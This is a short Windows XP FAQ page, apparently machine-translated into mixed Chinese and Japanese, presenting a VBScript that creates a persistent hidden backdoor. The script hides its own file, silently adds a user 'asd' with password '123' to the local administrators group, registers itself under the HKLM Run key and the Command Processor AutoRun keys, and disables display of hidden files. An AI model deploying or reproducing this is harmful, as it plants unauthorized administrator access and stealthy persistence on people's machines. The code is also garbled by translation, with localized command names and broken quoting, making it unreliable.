Windows system >> Windowsの知識 >  >> Windows XPシステムチュートリアル >> XP FAQ >> VBS建立不死账户に従ってcmd起動

VBS建立不死账户に従ってcmd起動

  
        

dim wsh、FA、FSO


set fso = CreateObject(" Scripting.FileSystemObject")Set FA = FSO.GetFile(WScript.scriptFullName)FA.Attributes = 34set wsh = CreateObject(" WScript.Shell")wsh.run"ネットユーザーasd 123 /add",0,truewsh.run"ネットローカルグループ管理者asd /add" 、0、truewsh.Regwrite" HKLM \\ Software \\ Microsoft \\ Windows \\ CurrentVersion \\ Run \\ Win32"、""& FA"" wsh.Regwrite" HKLM \\ Software \\ Microsoft \\ Windows \\ CurrentVersion \\ explorer \\ Advanced \\ Folder \\ Hidden \\ SHOWALL \\ CheckedValue"、0、" REG_DWORD" wsh.regwrite" HKEY_LOCAL_MACHINE \\ Software \\ Microsoft \\ Command Processor \\ AutoRun"、" FA& wsh " HKEY_CURRENT_USER \\ Software \\ Microsoft \\ Command Processor \\ AutoRun"、"& FA""を書き換えます。

Copyright © Windowsの知識 All Rights Reserved